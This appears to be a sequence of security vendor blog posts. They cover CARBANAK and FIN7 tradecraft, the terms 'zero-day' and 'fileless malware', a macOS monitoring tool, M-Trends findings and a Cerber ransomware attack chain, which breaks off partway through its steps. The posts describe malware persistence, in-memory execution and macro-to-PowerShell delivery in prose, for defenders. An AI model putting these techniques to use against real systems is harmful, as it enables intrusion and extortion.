As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. Figure 7 illustrates a rough timeline of this evolution based on the compile times of samples we have in our collection. This may not be entirely accurate because our visibility is not complete, but it gives us a general idea as to when the changes occurred. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently.

Figure 7: Timeline of binary protocol versions

*It is likely that we are missing an earlier build that utilized version 3.

Build Tool

Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.

Rapid Builds

Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. For example, on May 20, 2014, two builds were compiled approximately four hours apart and were configured to use the same C2 servers. Again, on July 30, 2015, two builds were compiled approximately 12 hours apart.

What changes in the code can we see in such short time intervals that would not be present in a build tool? In one case, one build was programmed to execute the runmem command for a file named wi.exe while the other was not. This command downloads an executable from the C2 and directly runs it in memory. In another case, one build was programmed to check for the existence of the domain blizko.net in the trusted sites list for Internet Explorer while the other was not. Blizko is an online money transfer service. We have also seen that different monitoring threads from Table 1 are enabled from build to build. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets.

Campaign Code and Compile Time Correlation

In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. Figure 8 shows some of the relationships that can be observed in our data set.

Campaign Code

Compile Date

Aug

7/30/15

dec

12/8/14

julyc

7/2/16

jun

5/9/15

june

5/25/14

june

6/7/14

junevnc

6/20/14

juspam

7/13/14

juupd

7/13/14

may

5/20/14

may

5/19/15

ndjun

6/7/16

SeP

9/12/14

spamaug

8/1/14

spaug

8/1/14

Figure 8: Campaign code to compile time relationships

Recent Updates

Recently, 64 bit variants of the backdoor have been discovered. We shared details about such variants in a recent blog post. Some of these variants are programmed to sleep until a configured activation date when they will become active.

History

The “Carbanak Group”

Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group”, who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are – if they are all directly orchestrated by the same criminal group, or if these campaigns were perpetrated by loosely affiliated actors sharing malware and techniques.

FIN7

In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015.

FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads. Finally, FIN7 has leveraged several new techniques that we have not observed in other CARBANAK related activity.

We have covered recent FIN7 activity in previous public blog posts:

The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on our investigations and observations into FIN7 activity.

Widespread Bank Targeting Throughout the U.S., Middle East and Asia

Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers.

This cluster of activity persisted from late 2014 into early 2016. Most notably, the infrastructure utilized in this campaign overlapped with LAZIOK, NETWIRE and other malware targeting similar financial entities in these regions.

DRIFTPIN

DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016.  Also, in late 2015, ESET reported on CARBANAK associated attacks, detailing a spear phishing campaign targeting Russian and Eastern European banks using DRIFTPIN as the malicious payload. Cyphort Labs also revealed that variants of DRIFTPIN associated with this cluster of activity had been deployed via the RIG exploit kit placed on two compromised Ukrainian banks’ websites.

FireEye iSIGHT Intelligence observed this wave of spear phishing aimed at a large array of targets, including U.S. financial institutions and companies associated with Bitcoin trading and mining activities. This cluster of activity continues to be active now to this day, targeting similar entities. Additional details on this latest activity are available on the FireEye iSIGHT Intelligence MySIGHT Portal.

Earlier CARBANAK Activity

In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak.

This activity was further linked to the 2014 exploitation of ATMs in Ukraine. Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement.

Conclusion

The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows:

  1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s).
  2. Some of the operators may be compiling their own builds of the backdoor independently.
  3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build.
  4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide-range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.

What’s It Like to Join a Startup’s Executive Team?

Startups are the innovation engine of the high-tech industry. Those who’ve participated in them have experienced the thrill and at times the disappointment of navigating uncharted territories of new ideas. Others have benefited from the fruits of these risk-takers’ labor by using the products they created.

What’s it like to contribute at an early stage of a startup? Below are my reflections on the first few months I’ve spent at Minerva so far. I joined this young endpoint security company as VP of Products not too long ago (and I’m loving it). I’ve outlined some takeaways in a generalized form that might benefit others in a similar position or those that are curious about entrepreneurial environments.

Situational Awareness: Where Am I?

When you come into a company—large or small—you already have some idea regarding the type of the organization you’re joining. Your understanding is incomplete at best. After all, it’s is based on your perspective as an outsider, and is informed mainly by the company’s official external communications (website, brochures, job posting) and the interactions you’ve had during the interviewing process.

Of course, you’ll learn as much as you can about the firm before deciding to come on board; validate all your assumptions and fill in the gaps in your understanding after starting the job:

  • If the company is small, this quite literally means taking the time to speak with as many of your new colleagues as possible, not only to start getting to know them, but also to understand their perspective on the company’s successes and challenges. Who are these individuals, what do they do, and how might you be of help?
  • Similarly, talk to the board members: What are they most excited about? What are their biggest concerns? What do they expect of you? In what ways might they be able to help you in meeting those objectives, on the basis of their expertise and connections? How involved do they want to be in the company’s operations and your activities?
  • In addition, understand the mindset of the company’s customers and partners. What do they appreciate the most about the firm? Where do they see opportunities for improvements? How do they collaborate with the company today? How might you assist them in the short and long term? Where might they help you?

At this initial stage on your involvement with the company, you still have the benefit of easily asking questions that later might sound silly. At the moment, it’s also easier to let yourself say “I don’t know, but I’ll find out” when you face a question you cannot answer. You’re gaining situational awareness, starting to understand your tools and priorities, getting to know the people, and adjusting the mental model you’ve built while you were still an outsider to the firm.

I had the benefit of participating in Minerva’s Advisory Board prior to becoming an employee. This allowed me get to know some of my future colleagues and confirm that we’ll get along, as well as to make sure that we’re aligned on the company’s direction. Still, only after spending several weeks immersed in the company’s day-to-day activities did I truly begin to feel like I knew where I was and I was doing there.

Takeaways: It takes longer than you might expect to feel fully engaged and productive with the new team. Do your research beforehand, but accept that you can only see a sliver of the actual company. Interact with others as much as possible, but leave time for reflection.

Self-Discovery: Who Are We?

If you’re joining a startup’s executive team, there’s a good chance that it’s entering a new phase of its life cycle. In the case of Minerva, I came on board as the company was preparing to enter the US market. It was starting to build a sales force and formalize its go-to-market strategy. The firm has been in existence for three years by that time, which allowed it to build the underlying framework and several product components. It gained feedback from early customers, assembled the R&D team and was ready to make itself known to the world.

After establishing an executive team, the startup will likely be looking to learn from its experiences so far and determine the direction for the next stage of its development. Since you’re new to the effort, you’ll need to begin by learning about colleague’s impressions and ideas before voicing your own. However, don’t wait too long before sharing your opinions. For the next few weeks you still have the fresh perspective that allows you to empathize with outsiders—customers, analysts, partners, investors—in a way that’s very difficult to do once you’ve formally integrated into the collective.

Lots of frameworks exist for helping you and other members of the executive team determine the business strategy. You can start with SWOT analysis, which, as Wikipedia summarizes, encourages you to understand the following aspects of your firm:

  • Strengths: characteristics of the business … that give it an advantage over others
  • Weaknesses: characteristics of the business that place [it] at a disadvantage relative to others
  • Opportunities: elements in the environment that the business … could exploit to its advantage
  • Threats: elements in the environment that could cause trouble for the business”

If, like me, you are focused on product management, you might benefit from my Product Management Framework for Creating Security Products, which recommends asking and answering the following questions:

It will likely take many brainstorming sessions, informal conversations, emails and adviser interactions to understand and verbalize the way in which your solution is related to other products your ecosystem. What problems are you solving and, most importantly, what are you not trying to tackle? What’s your competition? Why should customers care about you? What will industry analysts think?  Once you’ve figured this out, know you’ll need to adjust as the company and the market evolves.

As with any self-reflective experience, determining who you are and how you hope to be perceived by others is both challenging and exhilarating. Engaging in this exercise forces you to ask tough questions about yourself. You also need to tap into your inner optimist to envision a future in which you’ll succeed despite, or perhaps because, of the challenging road ahead.

In the case of Minerva, the company developed a unique way of combating evasive malware. However, having a strong technological base alone is insufficient: we needed to determine how to explain not only what we do, but why customers would benefit from the solution in a way that they cannot with the existing security layers. How are we related to baseline anti-malware tools? What about the “next-gen” players? (For more on this, see my Questions for Endpoint Security Startups post.)

Takeaways: Harness the external perspective you have after just joining the firm to introduce new ideas and challenge the old ones. Recognize that marketing and management frameworks are just suggestions for how to devise a business strategy. Be realistic about market dynamics and possibilities, but remember the need to stay optimistic when embarking upon new ventures.

External Communication

Once you understand where you are and who your company is, you’re ready to explain this to others. That means making your presence known in the targeted markets, as you begin to fill the sales pipeline and close deals, and as you continue to develop your product. You’re not only interacting with prospective customers directly, but are also working with industry analysts and other influences, educating them about your existence and value proposition, and soliciting feedback regarding the vision for your product.

Your company probably has a budding sales force, which you need to equip with the tools they’ll use when explaining the value of your solution. Depending on your specific role, you might be tasked with creating, contributing, or providing feedback on internal documentation that summarizes the results of the earlier self-discovery process to keep everyone in the company informed and marching to the same beat. Ditto for external-facing collateral, such as the company’s website contents, brochures, whitepapers, etc. Much of the documents the company developed in its earlier stages might need to be revised, retired or expanded.

External communications are about persuasion: you need to convince others to pay attention to your ideas and solutions, which often entails changing their perspective and challenging their assumptions.

You’re passionate about the benefits of your technology; yet, organizations are cautious of newcomers. Moreover, the market is dominated by the rhetoric of the incumbents, which requires the new entrants to clearly articulate how they fit into the existing marketplace and educate prospects about seeing through the marketing hype. To be heard, a young company must engage in persuasive communications as it builds up its core customer base and establishes a reputation. As a member of the executive team, it’s up to you to make this happen.

As I write this, Minerva just announced the closing of a Series A funding round. Encouraged by the enthusiasm of early adopters and the feedback from prospects, we established a sales team, formalized product roadmap plans, and updated the company’s marketing collateral. A lot of my time is spent speaking with prospects, customers, analysts, partners and, of course, colleagues, in addition to continuing to enhance the product.

Takeaways: Understanding your product’s value and your company’s strategy is only part of the battle. Persuading others to support you in this endeavor requires lots of external communications (see How to Be Heard in IT Security and Business). Be ready to spend lots of time writing papers, creating and editing slide decks, drafting and answering emails, speaking on the phone and meeting with people one-on-one and at industry events. And continue to deliver upon product roadmap commitments.

Disambiguate “Zero-Day” Before Considering Countermeasures

“Zero-day” is the all-powerful boogieman of the information security industry. Too many of us invoke it when discussing scary threats against which we feel powerless. We need to define and disambiguate this term before attempting to determine whether we’ve accounted for the associated threats when designing security programs.

Avoid Zero-Day Confusion

I’ve seen “zero-day” used to describe two related, but independent concepts. First, we worry about zero-day vulnerabilities—along with the associated zero-day exploits—for which we have no patch. Also, we’re concerned about zero-day malware, which we have no way of detecting.

These scenarios can represent different threats that often require distinct countermeasures. Let’s try to avoid confusion and FUD by being clear about the type of issues we’re are describing. To do this, in short:

Use “zero-day” as an adjective. Don’t use it as a noun.

This way you’ll be more likely to clarify what type of threat you have in mind.

The term zero-day (sometimes written as “0day”) appears to originate from the software pirating scene, as @4Dgifts pointed out to me on Twitter. It referred to cracked software (warez) distributed on or before its official release date; this is outlined on Wikipedia. By the way, if you like leetspeak, writing “0day” is fine when addressing technologists; stick to “zero-day” if your audience includes executives or business people.

Zero-Day Vulnerabilities and Exploits

Let’s start with zero-day vulnerabilities. I came across the following reasonable definition of this term in FireEye’s Zero-Day Danger report, which is consistent with how many other security vendors use this term:

“Zero-day vulnerabilities are software flaws that leave users exposed to cyber attacks before a patch or workaround is available.”

Along these lines, a zero-day exploit is one that targets a zero-day vulnerability.

An alternative definition of a zero-day exploit, which was captured by Pete Lindstrom, is “an exploit against a vulnerability that is not widely known.” (Thanks for pointing me to that source, Ryan Naraine.)

Zero-Day Malicious Software

I’ve encountered numerous articles that ask “What is zero-day malware?” and then confuse the matter by proceeding to discuss zero-day exploits instead. Even FireEye’s report on zero-day vulnerabilities, mentioned above, blurred the topic by briefly slipping into the discussion of zero-day malware when it mentioned that “code morphing and obfuscation techniques generate new malware variants faster than traditional security firms can generate new signatures.”

To avoid ambiguity or confusion, I prefer to use the term zero-day malware like this:

Zero-day malware is malicious software for which there is no currently-known detection pattern.

The word “pattern” includes the various ways in which one might recognize a malicious program, be it a traditional signature, a machine learning model, or behavioral footprints. I think this definition is consistent with the type of malware that Carl Gottlieb had in mind during our discussion on Twitter malware variants that don’t match a known identifier, such as a hash.

Zero-Day Attacks

Another “zero-day” term that security professionals sometimes use in this context is zero-day attack. Such an assault is reasonably defined Leyla Bilge and Tudor Dumitras in their Before We Knew It paper:

“A zero-day attack is a cyber attack exploiting a vulnerability that has not been disclosed publicly.”

However, what if the attack didn’t involve zero-day vulnerabilities, but instead employed zero-day malware? We’d probably also call such an incident a zero-day attack. Ambiguity alert!

Unless you need to be general, consider staying away from “zero-day attack” and clarify which of zero-day concept you’re discussing.

Avoid the Ambiguity, Save the World

Why worry about “zero-day” terminology? There is an increasingly-acute need for infosec designs that account for attacks that incorporate unknown, previously-unseen components. However, the way organizations handle zero-day exploits will likely differ from how they deal with zero-day malware.

By using the “zero-day” as an adjective and clarifying which word it’s describing, you can help companies devise the right security architecture. In contrast, asking “What is zero-day?” is too ambiguous to be useful.

As I mentioned when discussing fileless malware, I am especially careful with terms that risk turning into industry buzzwords. My endpoint security product at Minerva focuses on blocking unknown malware that’s designed to evade existing defenses, and I want to avoid misrepresenting our capabilities when using the term zero-day. Perhaps this write-up will help my company and other security vendors better explain how we add value to the security ecosystem.

The History of Fileless Malware – Looking Beyond the Buzzword

What’s the deal with “fileless malware”? Though many security professionals cringe when they hear this term, lots of articles and product brochures mention fileless malware in the context of threats that are difficult to resist and investigate. Below is my attempt to look beyond the buzzword, tracing the origins of this term and outlining the malware samples that influenced how we use it today.

Frenzy for Fileless

The notion of fileless malware has been gaining a lot of attention at industry events, private meetings and online discussions. This might be because this threat highlights some of the deficiencies in old-school endpoint security methods and gives new approaches an opportunity to highlight their strengths.

Indeed, according to Google Trends, people’s interest in this term blipped in 2012 and 2014, began building up toward 2015 and spiked in 2017.

This pattern corresponds to the publicly-discussed malware that exhibited “fileless” capabilities in the recent years, and with the burst of research and marketing publications that appeared in 2017.

What is Fileless Malware?

Let’s get this out of the way: Fileless malware sometimes has files. Most people today seem to be using the term fileless malware in a manner consistent with the following definition:

Fileless malware is malware that operates without placing malicious executables on the file system.

This definition accommodates situations where the infection began with a malicious script or even a benign executable on the file system. It also matches the scenarios where the specimen stored artifacts in the registry, even though Windows keeps registry contents on disk. It applies regardless of the way in which the infection occurred, be it an exploit of a vulnerability, a social engineering trick, or a misuse of some feature.

Though initially fileless malware referred to malicious code that remained solely in memory without even implementing a persistence mechanism, the term evolved to encompass malware that relies on some aspects of the file system for activation or presence. Let’s review some of the malicious programs that influenced how we use this term today.

2001-2003: Code Red and SQL Slammer

The notion of malicious code that resides solely in memory certainly existed prior to the 21st century. Yet, it wasn’t until the highly-prolific Code Red worm left its mark on the Internet in 2001, did the term fileless malware enter the general parlance. The earliest public reference I could find dates to summer 2001, when Kaspersky Labs published an announcement that quoted none other than Eugene Kaspersky:

“We predict that in the very near future, such ‘fileless’ worms as Code Red will become one of the most widespread forms of malicious programs, and an anti-virus’ ineffectiveness in the face of such a threat simply invites danger.”

Code Red exploited a vulnerability in Microsoft IIS web servers, remaining solely in memory of the infected host, as explained by the Center for Applied Internet Data Analysis.

A year and a half later another worm—SQL Slammer—spread like wildfire by exploiting a vulnerability in Microsoft SQL servers. Robert Vamosi, writing for ZDNet in 2003, described this malware as “file-less” and mentioned that it resided “only in memory, much as Code Red.”

I came across another early mention of this term in the 2003 patent filing by the venerable Peter Szor, who worked at Symantec at the time. Titled signature extraction system and method, the patent defines fileless malware as:

“Malicious code that is not file based but exists in memory only… More particularly, fileless malicious code … appends itself to an active process in memory…”

The original definition of fileless malware was close to the English meaning of the words that describe malware that remains active without leaving any files.

2012: A Bot That Installed the Lurk Trojan

The next fileless malware reference I could locate appeared nearly a decade after Code Red and SQL Slammer worms. In 2012, Sergey Golovanov at Kaspersky Labs presented his analysis of a bot that didn’t save any files to the hard drive, explaining that:

“We are dealing with a very rare kind of malware — the so-called fileless malicious programs that do not exist as files on the hard drive but operate only in the infected computers RAM.”

The unnamed specimen exploited a client-side Java vulnerability and operated solely in memory of the affected javaw.exe process. Sergey mentioned that the bot was capable of installing the Lurk banker trojan.

Earlier that year, Amit Malik at SecurityXploded published an educational write-up, explaining how to achieve “in-memory or file-less execution” of a Windows program without saving it to disk after downloading it from the Internet.

2014: Powerliks, Angler, Phase Bot

The malicious programs outlined above stayed purely memory-resident without leaving any direct footprints on the file systems. As the result of this volatility, they disappeared once the system was rebooted. In contrast, 2014 brought us Poweliks malware, which G Data described as “persistent malware without a file.” This specimen found its way onto the system by exploiting a Microsoft Word vulnerability. It used PowerShell and JavaScript along with shellcode to jumpstart its in-memory execution.  Kevin Gossett at Symantec described its persistence mechanism like this:

“Normally, malware will place an entry in the Run subkey that points to a malicious executable which is then executed. Poweliks makes the Run subkey call rundll32.exe, a legitimate Windows executable used to load DLLs, and passes in several parameters. These parameters include JavaScript code that eventually results in Poweliks being loaded into memory and executed”

A month later, security researcher Kafeine documented an Angler exploit kit infection that exhibited fileless characteristics. The attack targeted a client-side Java vulnerability and operated solely in memory of the affected javaw.exe process. In a related future occurrence, Angler began installing Bedep downloader in 2016 that, according to Palo Alto’s Brad Duncan, “is installed without creating any files because it is loaded directly into memory by the exploit shellcode.”

Closer to the end of 2014, security researcher MalwareTech documented a fileless rootkit named Phase Bot. According to its advertisement, the specimen achieved stealth “by installing on windows systems without dropping any files to disk and not having it’s own process. […] Phase hids it’s relocatable code encrypted in the registry and uses powershell to read and execute this position independent code into memory.” Like Powerliks, this malware maintained persistence by launching rundll32.exe from an autorun registry key to execute JavaScript.

2014-2015: Duqu 2.0, Kovter

In mid-2015, Kaspersky Labs published details about an advanced adversary that operated in 2014-2015 using a sophisticated malware platform that the vendor called Duqu 2.0. The attack utilized a Windows vulnerability to install stealthy malware that remained solely in memory of the infected host. It did not implement a persistence mechanism. Instead, the researchers explained, the attackers targeted servers with high uptime and then re-infected the systems that got “disinfected by reboots.”

Another fileless malware specimen that gained attention in 2015 was Kovter. In that incarnation, the Kovter’s infection technique closely resembled that of Powerliks. Even when starting the infection with a malicious Windows executable, the specimen removed that file after storing obfuscated or encrypted artifacts in the registry. At least one of its variations maintained persistence by using a shortcut file that executed JavaScript. As outlined by Andrew Dove at Airbus, this script launched PowerShell, which executed shellcode, which launched a non-malicious application after injecting malicious code into it.

2016: PowerSniff, PowerWare, August

In mid-2016, Josh Grunzweig and Brandon Levene at Palo Alto Networks documented a malicious program they dubbed PowerSniff. The infection began with a Microsoft Word document that contained a malicious macro. The in-memory mechanics of this specimen resembled some aspects of Kovter and involved a PowerShell script that executed shellcode, which decoded and executed additional malicious payload, operating solely in memory. PowerSniff had the ability to temporarily save a malicious DLL to the file system.

A couple of weeks later, Mike Sconzo and Rico Valdez at Carbon Black described a ransomware specimen they called PowerWare. Like PowerSniff, PowerWare began its infection with a Microsoft Office document that contained a malicious macro, which ultimately launched PowerShell that continued the infection process without placing malicious executables on the file system.

Another fileless malware sample that utilized Microsoft Word macros and PowerShell was documented later in the year by Proofpoint. It was named August. According to the researchers, the specimen downloaded a portion of a payload “from the remote site as a PowerShell byte array,” executing it in memory without saving it to the file system.

2017: POSHSPY, etc.

In early 2017, Kaspersky Labs described an unnamed incident where adversaries stored Meterpreter-based malicious code solely in memory. The only file system artifacts were legitimate Windows utilities such as sc (to install a malicious service that ran PowerShell) and netsh (to tunnel malicious network traffic).

Several months later, Matthew Dunwoody at Mandiant described another sophisticated attack that involved fileless malicious code. Named POSHSPY, the specimen used Windows Management Instrumentation (WMI) capabilities of the OS to maintain persistence and relied on PowerShell for its payload. The specimen had the ability to download executable files, which it would save to the file system. Matthew concluded that:

By “living off the land,” this adversary implemented “an extremely discrete backdoor that they can deploy alongside their more conventional and noisier backdoor families, in order to help ensure persistence even after remediation.”

The incidents above highlighted the powerful capabilities available to intruders even when they rely solely on built-in benign programs to execute malicious payload on the infected systems.

Alternatives to Saying “Fileless Malware”

Sergey Golovanov’s 2012 article mentioned above originally used the term fileless malware. Interestingly, it has been revised and now uses the term bodiless malware instead. Kaspersky Labs experimented with saying bodiless malware as late as 2016, but it seems to have returned to fileless malware in other writeups in 2017.

Speaking of the terms that didn’t take off… The notion of Advanced Volatile Threat (AVT) gained some buzz in 2013 after, according to Wikipedia, being coined by John Prisco of Triumfant Inc. The short-lived AVT moniker popped up in Byron Acohido’s USA Today article in 2013 in reference to a backdoored version of Apache software. According to Pierre-Marc Bureau, who was at ESET at that time, the backdoor left “no traces of compromised hosts on the hard drive other than its modified” web server binary.

In contrast, a reasonable alternative to the term fileless malware was introduced by Carbon Black in its 2016 Threat Report. The report used the phrase non-malware attacks. Writing on the company’s blog a few months later, Michael Viscuso explained the meaning of this term like this:

“A non-malware attack is one in which an attacker uses existing software, allowed applications and authorized protocols to carry out malicious activities. Non-malware attacks are capable of gaining control of computers without downloading any malicious files, hence the name. Non-malware attacks are also referred to as fileless, memory-based or ‘living-off-the-land’ attacks.”

Gartner used the term “non-malware attack” in a 2017 report that highlighted Carbon Black. However, another Gartner report published a month later used “fileless attacks” instead.

Why Does It Matter?

I like the idea of saying “non-malware attacks” for incidents that rely solely on legitimate system administration tools and other non-malicious software. This is the scenario that some people describe as living-off-the-land. In contrast, I might prefer to say “memory-only malware” if I need to point out that malicious code is never saved to disk, perhaps because it was injected into another process. I’m even OK with saying “fileless malware” when bringing focus on persistence mechanisms that avoid placing traditional executables on the file system.

Unfortunately, nowadays the terminology has been commingled, and we’re probably stuck with the term “fileless malware” to describe the various scenarios outlined above, despite the term’s ambiguity. Alas, human language is imprecise and always-evolving. (If we all spoke C#, perhaps the world would be a better place.)

I care about this terminology because I’m trying to avoid buzzwords and empty phrases when describing the capabilities of the anti-malware product for which I’m responsible at Minerva. It runs alongside other endpoint security tools and blocks all sorts of sneaky malware, regardless whether its payload touches disk. I’m often asked how we handle fileless malware; I decided to perform the research above to better understand how and when I should use this term.

Introducing Monitor.app for macOS

UPDATE (April 4, 2018): Monitor.app now supports macOS 10.13.

As a malware analyst or systems programmer, having a suite of solid dynamic analysis tools is vital to being quick and effective. These tools enable us to understand malware capabilities and undocumented components of the operating system. One obvious tool that comes to mind is Procmon from the legendary Sysinternals Suite from Microsoft. Those tools only work on Windows though and we love macOS.

macOS has some fantastic dynamic instrumentation software included with the operating system and Xcode. In the past, we have used dynamic instrumentation tools such as Dtrace, a very powerful tracing subsystem built into the core of macOS. While it is very powerful and efficient, it commonly required us to write D scripts to get the interesting bits. We wanted something simpler.

Today, the Innovation and Custom Engineering (ICE) Applied Research team presents the public release of Monitor.app for macOS, a simple GUI application for monitoring common system events on a macOS host. Monitor.app captures the following event types:

  • Process execution with command line arguments
  • File creates (if data is written)
  • File renames
  • Network activity
  • DNS requests and replies
  • Dynamic library loads
  • TTY Events

Monitor.app identifies system activities using a kernel extension (kext). Its focus is on capturing data that matters, with context. These events are presented in the UI with a rich search capability allowing users to hunt through event data for areas of interest.

The goal of Monitor is simplicity. When launching Monitor, the user is prompted for root credentials to launch a process and load our kext (don’t worry, the main UI process doesn’t run as root). From there, the user can click on the start button and watch the events roll in!

The UI is sparse with a few key features. There is the start/stop button, filter buttons, and a search bar. The search bar allows us to set simple filters on types of data we may want to filter or search for over all events. The event table is a listing of all the events Monitor is capable of presenting to the user. The filter buttons allow the user to turn off some classes of events. For example, if a TimeMachine backup were to kick off when the user was trying to analyze a piece of malware, the user can click the file system filter button and the file write events won’t clutter the display.

As an example, perhaps we were interested in seeing any processes that communicated with xkcd.com. We can simply use an “Any” filter and enter xkcd into the search bar, as seen in Figure 1.

Figure 1: Monitor.app User Interface

We think you will be surprised how useful Monitor can be when trying to figure out how components of macOS or even malware work under the hood, all without firing up a debugger or D script.

Click here to download Monitor.app. Please send any feature requests/bugs to monitorapp-bugs@fireeye.com.

Apple, Mac and MacOS are registered trademarks or trademarks of Apple Inc.

M-Trends 2017: A View From the Front Lines

Every year Mandiant responds to a large number of cyber attacks, and 2016 was no exception. For our M-Trends 2017 report, we took a look at the incidents we investigated last year and provided a global and regional (the Americas, APAC and EMEA) analysis focused on attack trends, and defensive and emerging trends.

When it comes to attack trends, we’re seeing a much higher degree of sophistication than ever before. Nation-states continue to set a high bar for sophisticated cyber attacks, but some financial threat actors have caught up to the point where we no longer see the line separating the two. These groups have greatly upped their game and are thinking outside the box as well. One unexpected tactic we observed is attackers calling targets directly, showing us that they have become more brazen.

While there has been a marked acceleration of both the aggressiveness and sophistication of cyber attacks, defensive capabilities have been slower to evolve. We have observed that a majority of both victim organizations and those working diligently on defensive improvements are still lacking adequate fundamental security controls and capabilities to either prevent breaches or to minimize the damages and consequences of an inevitable compromise.

Fortunately, we’re seeing that organizations are becoming better are identifying breaches. The global median time from compromise to discovery has dropped significantly from 146 days in 2015 to 99 days 2016, but it’s still not good enough. As we noted in M-Trends 2016, Mandiant’s Red Team can obtain access to domain administrator credentials within roughly three days of gaining initial access to an environment, so 99 days is still 96 days too long.

We strongly recommend that organizations adopt a posture of continuous cyber security, risk evaluation and adaptive defense or they risk having significant gaps in both fundamental security controls and – more critically – visibility and detection of targeted attacks.

On top of our analysis of recent trends, M-Trends 2017 contains insights from our FireEye as a Service (FaaS) teams for the second consecutive year. FaaS monitors organizations 24/7, which gives them a unique perspective into the current threat landscape. Additionally, this year we partnered with law firm DLA Piper for a discussion of the upcoming changes in EMEA data protection laws.

You can learn more in our M-Trends 2017 report. Additionally, you can register for our live webinar on March 29, 2017, to hear more from our experts.

M-Trends Asia Pacific: Organizations Must Improve at Detecting and Responding to Breaches

Since 2010, Mandiant, a FireEye company, has presented trends, statistics and case studies of some of the largest and most sophisticated cyber attacks. In February 2016, we released our annual global M-Trends® report based on data from the breaches we responded to in 2015. Now, we are releasing M-Trends Asia Pacific, our first report to focus on this very diverse and dynamic region.

Some of the key findings include:

  • Most breaches in the Asia Pacific region never became public. Most governments and industry-governing bodies are without effective breach disclosure laws, although this is slowly changing.
  • The median time of discovery of an attack was 520 days after the initial compromise. This is 374 days longer than the global median of 146 days.
  • Mandiant was engaged by many organizations that have already conducted forensic investigations (internally or using third parties), but failed to eradicate the attackers from their environments. These efforts sometimes made matters worse by destroying or damaging the forensic evidence needed to understand the full extent of a breach or to attribute activity to a specific threat actor.
  • Some attacker tools were used to almost exclusively target organizations within APAC. In April 2015, we uncovered the malicious efforts of APT30, a suspected China-based threat group that has exploited the networks of governments and organizations across the region, targeting highly sensitive political, economic and military information.

Download M-Trends Asia Pacific to learn more.

Analyzing the Malware Analysts – Inside FireEye’s FLARE Team

At the Black Hat USA 2016 conference in Las Vegas last week, I was fortunate to sit down with Michael Sikorski, Director, FireEye Labs Advanced Reverse Engineering (FLARE) Team.

During our conversation we discussed the origin of the FLARE team, what it takes to analyze malware, Michael’s book “Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software,” and the latest open source freeware tools FLOSS and FakeNet-NG.

Listen to the full podcast here.

Cerber: Analyzing a Ransomware Attack Methodology To Enable Protection

Ransomware is a common method of cyber extortion for financial gain that typically involves users being unable to interact with their files, applications or systems until a ransom is paid. Accessibility of cryptocurrency such as Bitcoin has directly contributed to this ransomware model. Based on data from FireEye Dynamic Threat Intelligence (DTI), ransomware activities have been rising fairly steadily since mid-2015.

On June 10, 2016, FireEye’s HX detected a Cerber ransomware campaign involving the distribution of emails with a malicious Microsoft Word document attached. If a recipient were to open the document a malicious macro would contact an attacker-controlled website to download and install the Cerber family of ransomware.

Exploit Guard, a major new feature of FireEye Endpoint Security (HX), detected the threat and alerted HX customers on infections in the field so that organizations could inhibit the deployment of Cerber ransomware. After investigating further, the FireEye research team worked with security agency CERT-Netherlands, as well as web hosting providers who unknowingly hosted the Cerber installer, and were able to shut down that instance of the Cerber command and control (C2) within hours of detecting the activity. With the attacker-controlled servers offline, macros and other malicious payloads configured to download are incapable of infecting users with ransomware.

FireEye hasn’t seen any additional infections from this attacker since shutting down the C2 server, although the attacker could configure one or more additional C2 servers and resume the campaign at any time. This particular campaign was observed on six unique endpoints from three different FireEye endpoint security customers. HX has proven effective at detecting and inhibiting the success of Cerber malware.

Attack Process

The Cerber ransomware attack cycle we observed can be broadly broken down into eight steps:

  1. Target receives and opens a Word document.
  2. Macro in document is invoked to run PowerShell in hidden mode.
  3. Control is passed to PowerShell, which connects to a malicious site to download the ransomware.
  4. On successful connection, the ransomware is written to the disk of the victim.
  5. PowerShell executes the ransomware.
  6. The malware configures multiple concurrent persistence mechanisms by creating command processor, screensaver, startup.run and runonce registry entries.
